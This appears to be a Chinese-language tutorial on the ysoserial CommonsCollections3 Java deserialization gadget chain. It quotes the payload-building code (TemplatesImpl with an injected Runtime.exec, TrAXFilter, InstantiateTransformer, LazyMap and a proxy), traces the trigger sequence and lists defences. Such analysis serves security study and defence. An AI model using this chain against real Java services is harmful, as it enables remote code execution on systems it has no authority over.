java反序列化学习-ysoserial-CommonsCollections3
字数 2076 2025-08-10 20:35:57
Java反序列化漏洞分析:CommonsCollections3利用链详解
一、漏洞背景
CommonsCollections3是Apache Commons Collections库中的一个反序列化漏洞利用链,属于ysoserial工具集的一部分。该漏洞利用链基于Java反序列化过程中的不安全操作,通过精心构造的恶意对象实现远程代码执行(RCE)。
二、漏洞原理
CommonsCollections3利用链的核心是通过TemplatesImpl类加载恶意字节码,结合TrAXFilter类和InstantiateTransformer触发恶意代码执行。主要利用了以下关键点:
TemplatesImpl类的_bytecodes字段可以加载任意字节码TrAXFilter类的构造函数会调用TemplatesImpl.newTransformer()InstantiateTransformer可以实例化任意类并调用其构造函数- Java动态代理机制将调用转发到恶意对象
三、利用链详细分析
1. 恶意字节码构造
Object templatesImpl = Gadgets.createTemplatesImpl(command);
createTemplatesImpl方法负责创建包含恶意代码的TemplatesImpl对象:
- 使用
javassist技术动态生成类 - 创建
StubTransletPayload类的子类 - 在静态代码块中插入恶意命令:
String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace(...) + "\");"; clazz.makeClassInitializer().insertAfter(cmd); - 设置
_bytecodes字段包含恶意类的字节码
2. Transformer链构造
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
初始构造一个ChainedTransformer,包含一个ConstantTransformer占位符。
3. 关键Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
};
这个数组包含两个关键Transformer:
ConstantTransformer(TrAXFilter.class)- 返回TrAXFilter类对象InstantiateTransformer- 实例化TrAXFilter类,传入templatesImpl作为参数
4. LazyMap与动态代理
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Map mapProxy = (Map)Gadgets.createMemoitizedProxy(lazyMap, Map.class, new Class[0]);
- 创建
LazyMap,当调用get()方法时会触发transformerChain.transform() - 使用动态代理包装
lazyMap,使得任何方法调用都会转发到AnnotationInvocationHandler
5. 最终InvocationHandler构造
InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
- 创建
AnnotationInvocationHandler代理对象 - 将之前构造的
transformers数组设置到transformerChain的iTransformers字段 - 返回这个handler用于序列化
四、漏洞触发流程
- 反序列化时,
AnnotationInvocationHandler.readObject()被调用 - 调用
memberValues.entrySet()(memberValues是我们的代理对象) - 代理对象将调用转发到
LazyMap.get() LazyMap.get()调用transformerChain.transform()ChainedTransformer依次执行:- 第一个Transformer:
ConstantTransformer返回TrAXFilter.class - 第二个Transformer:
InstantiateTransformer实例化TrAXFilter,传入templatesImpl
- 第一个Transformer:
TrAXFilter构造函数调用templatesImpl.newTransformer()TemplatesImpl.newTransformer()加载并执行恶意字节码
五、关键类分析
1. TrAXFilter类
public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
public TrAXFilter(Templates templates) throws TransformerConfigurationException {
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
// ...
}
}
关键点:构造函数中调用templates.newTransformer()触发恶意代码执行。
2. InstantiateTransformer
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
try {
Constructor con = input.getClass().getConstructor(iParamTypes);
return con.newInstance(iArgs);
} catch (Exception ex) {
// ...
}
}
}
作用:通过反射实例化类并调用其构造函数。
3. LazyMap
public class LazyMap implements Map, Serializable {
protected final Map map;
protected final Transformer factory;
public Object get(Object key) {
if (!map.containsKey(key)) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}
关键点:get()方法会调用factory.transform()触发Transformer链。
六、防御措施
- 升级Commons Collections到安全版本(3.2.2+)
- 使用Java反序列化过滤器(ObjectInputFilter)
- 避免反序列化不可信数据
- 使用白名单机制验证反序列化的类
七、总结
CommonsCollections3利用链通过组合多个关键类实现了反序列化漏洞利用:
- 使用
TemplatesImpl加载恶意字节码 - 通过
TrAXFilter触发字节码执行 - 利用
InstantiateTransformer实例化TrAXFilter - 通过
LazyMap和动态代理机制将调用链连接起来 - 最终在反序列化时触发整个利用链
理解这个利用链需要对Java反序列化机制、动态代理、类加载机制等有深入理解,是学习Java安全的经典案例。